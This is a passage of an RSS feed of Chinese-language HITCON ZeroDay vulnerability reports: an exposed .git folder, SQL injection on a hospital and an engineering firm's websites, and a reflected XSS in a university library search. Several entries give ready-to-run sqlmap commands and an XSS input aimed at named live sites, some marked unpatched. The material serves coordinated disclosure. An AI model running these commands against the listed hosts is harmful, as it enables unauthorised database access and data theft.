     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/08/15 16:37:26
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 a_cat 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/16 01:16:59
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:05:56
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:05:56
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:05:56
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/15 03:00:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      公開 (由 HITCON ZeroDay 平台自動更新)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00656
    </li>
    <li>
     通報者：Alan_875 (
     <a href="/user/Alan_875">
      a_cat
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：資訊洩漏 (Information Leakage)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   參考資料
  </h3>
  <div class="section-content url">
   <div>
    攻擊者可利用洩漏資訊進行下一步攻擊行為。
    <br/>
    <br/>
    OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
    <br/>
    https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
    <br/>
    <br/>
    CWE-200 漏洞說明
    <br/>
    https://cwe.mitre.org/data/definitions/200.html
   </div>
   <div align="right" class="section-content url" style="color: grey; margin-top: 20px">
    (本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   相關網址
  </h3>
  <div class="section-content url">
   <div class="urls">
    https://www.csie.ntu.edu.tw/~r01922164/miafamily_website/.git/hooks/
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   敘述
  </h3>
  <div class="section-content zdui-md-content" id="detail">
   <div>
    <p>
     git 洩漏
     <a href="https://www.csie.ntu.edu.tw/~r01922164/miafamily_website/.git/hooks/">
      https://www.csie.ntu.edu.tw/~r01922164/miafamily_website/.git/hooks/
     </a>
    </p>
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   擷圖
  </h3>
  <div class="section-content screenshot">
   <ul>
    <li>
     <span>
      <img src="/api/vulnerability/7819/attachments/687811b731207eda1444e9f95e447898" width="320"/>
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   聯絡組織
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="input-comment">
     <a class="zdui-button okgo" href="/up/message/channel/create/vendor/12">
      <i class="far fa-envelope">
      </i>
      發送私人訊息
     </a>
     <div class="remind-text">
      您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
     </div>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Mon, 15 Aug 2022 16:37:26 GMT</pubDate></item><item><title>私立台南仁愛之家附設仁馨醫院sqli</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00655</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00655
     </span>
    </li>
    <li class="vendor">
     <a class="zdui-button send-message okgo" href="/up/message/channel/create/vendor/4340">
      <i class="far fa-envelope">
      </i>
      發信
     </a>
     <span class="label">
      Vendor:
     </span>
     <span class="value tx-overflow-ellipsis">
      私立台南仁愛之家附設仁馨醫院
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      私立台南仁愛之家附設仁馨醫院sqli
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      sqli
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    公開
   </div>
   <div class="status-descr">
    Last Update : 2022/10/15
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node warning">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未回報修補狀況
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/08/15 14:52:48
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 a_cat 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/16 01:16:33
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:09:37
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:09:37
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:09:37
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/15 03:00:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      公開 (由 HITCON ZeroDay 平台自動更新)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00655
    </li>
    <li>
     通報者：Alan_875 (
     <a href="/user/Alan_875">
      a_cat
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   參考資料
  </h3>
  <div class="section-content url">
   <div>
    攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。
    <br/>
    <br/>
    漏洞說明： OWASP - SQL Injection
    <br/>
    https://www.owasp.org/index.php/SQL_Injection
    <br/>
    <br/>
    漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
    <br/>
    https://www.owasp.org/index.php/Top_10-2017_A1-Injection
    <br/>
    <br/>
    漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    <br/>
    https://cwe.mitre.org/data/definitions/89.html
    <br/>
    <br/>
    防護方式： OWASP - SQL Injection Prevention Cheat Sheet
    <br/>
    https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
   </div>
   <div align="right" class="section-content url" style="color: grey; margin-top: 20px">
    (本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   相關網址
  </h3>
  <div class="section-content url">
   <div class="urls">
    http://www.thop.org.tw/06/active_news_list.php?class_id=7
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   敘述
  </h3>
  <div class="section-content zdui-md-content" id="detail">
   <div>
    <p>
     sqlmap payload:
     <br/>
     sqlmap -u
     <a href="http://www.thop.org.tw/06/active_news_list.php%5C?class_id%5C=7">
      http://www.thop.org.tw/06/active_news_list.php\?class_id\=7
     </a>
     --batch --random-agent
    </p>
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   擷圖
  </h3>
  <div class="section-content screenshot">
   <ul>
    <li>
     <span>
      <img src="/api/vulnerability/7818/attachments/97c720f9d9556a093e438e65cf09845d" width="320"/>
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   聯絡組織
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="input-comment">
     <a class="zdui-button okgo" href="/up/message/channel/create/vendor/4340">
      <i class="far fa-envelope">
      </i>
      發送私人訊息
     </a>
     <div class="remind-text">
      您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
     </div>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Mon, 15 Aug 2022 14:52:48 GMT</pubDate></item><item><title>國立勤益科技大學圖書館館藏查詢系統 ResolveUrl XSS</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00827</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00827
     </span>
    </li>
    <li class="vendor">
     <a class="zdui-button send-message okgo" href="/up/message/channel/create/vendor/313">
      <i class="far fa-envelope">
      </i>
      發信
     </a>
     <span class="label">
      Vendor:
     </span>
     <span class="value tx-overflow-ellipsis">
      國立勤益科技大學
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      國立勤益科技大學圖書館館藏查詢系統 ResolveUrl XSS
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      攻擊者可經由該漏洞竊取使用者身份，或進行掛碼、轉址等攻擊行為。  漏洞說明： OWASP - Cross-site Scripting (XSS) https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  防護原則： OWASP - XSS (Cross Site Scripting) Prevention Cheat Sheet https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    公開
   </div>
   <div class="status-descr">
    Last Update : 2022/10/14
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已修補
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/30 14:23:28
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 閃電哈士奇 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/02 08:14:25
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 閃電哈士奇 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/03 00:44:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/03 15:10:44
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/03 15:10:44
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/03 15:10:44
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/06 10:00:38
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      已修補 (由 組織帳號 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/14 03:00:08
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      公開 (由 HITCON ZeroDay 平台自動更新)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00827
    </li>
    <li>
     通報者：lawrence1118 (
     <a href="/user/lawrence1118">
      閃電哈士奇
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   參考資料
  </h3>
  <div class="section-content url">
   <div>
    攻擊者可經由該漏洞竊取使用者身份，或進行掛碼、轉址等攻擊行為。
    <br/>
    <br/>
    漏洞說明： OWASP - Cross-site Scripting (XSS)
    <br/>
    https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
    <br/>
    <br/>
    防護原則： OWASP - XSS (Cross Site Scripting) Prevention Cheat Sheet
    <br/>
    https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
    <br/>
    <br/>
    防禦繞過方式： OWASP - XSS Filter Evasion Cheat Sheet
    <br/>
    https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
   </div>
   <div align="right" class="section-content url" style="color: grey; margin-top: 20px">
    (本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   相關網址
  </h3>
  <div class="section-content url">
   <div class="urls">
    http://140.128.95.6/F/4KH49M8N86224DE5JK58N94C8DU2Q7X6DNXX8GKI3K72L32BR1-02671?func=find-b&amp;find_code=WRD&amp;request=&amp;local_base=TOP02&amp;adjacent=1
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   敘述
  </h3>
  <div class="section-content zdui-md-content" id="detail">
   <div>
    <p>
     於搜尋欄位嘗試XXS語法
     <br/>
     <img alt="1" src="https://i.imgur.com/GLlQ4ga.png"/>
     <br/>
     欄位輸入："&gt;&lt;Input type ="IMAGE" SRC=
     <a href="https://i.imgur.com/hDplNjl.png">
      https://i.imgur.com/hDplNjl.png
     </a>
     &gt;
     <br/>
     存在XXS漏洞
     <br/>
     <img alt="2" src="https://i.imgur.com/sS8tAqG.png"/>
    </p>
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   修補建議
  </h3>
  <div class="section-content zdui-md-content">
   <p>
    1. 參考OWASP XSS防禦方式
    <br>
     2. 過濾，轉譯掉任何可執行的代碼
    </br>
   </p>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   擷圖
  </h3>
  <div class="section-content screenshot">
   <ul>
    <li>
     <span>
      <img src="/api/vulnerability/7990/attachments/0a578f1116fba9ba44752c2a4eea1350" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7990/attachments/26dfd58ad2d4f59e656d768b631094d0" width="320"/>
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   聯絡組織
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="input-comment">
     <a class="zdui-button okgo" href="/up/message/channel/create/vendor/313">
      <i class="far fa-envelope">
      </i>
      發送私人訊息
     </a>
     <div class="remind-text">
      您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
     </div>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 30 Sep 2022 14:23:28 GMT</pubDate></item><item><title>宇挺工程sqli</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00652</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00652
     </span>
    </li>
    <li class="vendor">
     <a class="zdui-button send-message okgo" href="/up/message/channel/create/vendor/4341">
      <i class="far fa-envelope">
      </i>
      發信
     </a>
     <span class="label">
      Vendor:
     </span>
     <span class="value tx-overflow-ellipsis">
      宇挺工程
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      宇挺工程sqli
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      sqli
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    公開
   </div>
   <div class="status-descr">
    Last Update : 2022/10/14
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node warning">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未回報修補狀況
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/08/14 17:49:21
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 a_cat 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/16 01:15:11
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/16 01:15:11
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:11:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:11:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:11:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/14 03:00:06
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      公開 (由 HITCON ZeroDay 平台自動更新)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00652
    </li>
    <li>
     通報者：Alan_875 (
     <a href="/user/Alan_875">
      a_cat
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   參考資料
  </h3>
  <div class="section-content url">
   <div>
    攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。
    <br/>
    <br/>
    漏洞說明： OWASP - SQL Injection
    <br/>
    https://www.owasp.org/index.php/SQL_Injection
    <br/>
    <br/>
    漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
    <br/>
    https://www.owasp.org/index.php/Top_10-2017_A1-Injection
    <br/>
    <br/>
    漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    <br/>
    https://cwe.mitre.org/data/definitions/89.html
    <br/>
    <br/>
    防護方式： OWASP - SQL Injection Prevention Cheat Sheet
    <br/>
    https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
   </div>
   <div align="right" class="section-content url" style="color: grey; margin-top: 20px">
    (本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   相關網址
  </h3>
  <div class="section-content url">
   <div class="urls">
    http://www.ytboiler.com.tw/ch/achievement_detail.php?id=2
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   敘述
  </h3>
  <div class="section-content zdui-md-content" id="detail">
   <div>
    <p>
     sqlmap -u
     <a href="http://www.ytboiler.com.tw/ch/achievement_detail.php%5C?id%5C=2">
      http://www.ytboiler.com.tw/ch/achievement_detail.php\?id\=2
     </a>
     --batch --random-agent
    </p>
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   擷圖
  </h3>
  <div class="section-content screenshot">
   <ul>
    <li>
     <span>
      <img src="/api/vulnerability/7815/attachments/347bbb3801a04d1a19bbea1af60199a0" width="320"/>
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   聯絡組織
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="input-comment">
     <a class="zdui-button okgo" href="/up/message/channel/create/vendor/4341">
      <i class="far fa-envelope">
      </i>
      發送私人訊息
     </a>
     <div class="remind-text">
      您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
     </div>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Sun, 14 Aug 2022 17:49:21 GMT</pubDate></item><item><title>國霖機電管理服務股份有限公司網站存在資料庫注入漏洞</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00651</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-critical-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00651
     </span>
    </li>
    <li class="vendor">
     <a class="zdui-button send-message okgo" href="/up/message/channel/create/vendor/4342">
      <i class="far fa-envelope">
      </i>
      發信
     </a>
     <span class="label">
      Vendor:
     </span>
     <span class="value tx-overflow-ellipsis">
      某機電公司
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      國霖機電管理服務股份有限公司網站存在資料庫注入漏洞
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      SQL injection
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    公開
   </div>
   <div class="status-descr">
    Last Update : 2022/10/14
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-critical">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node warning">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未回報修補狀況
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
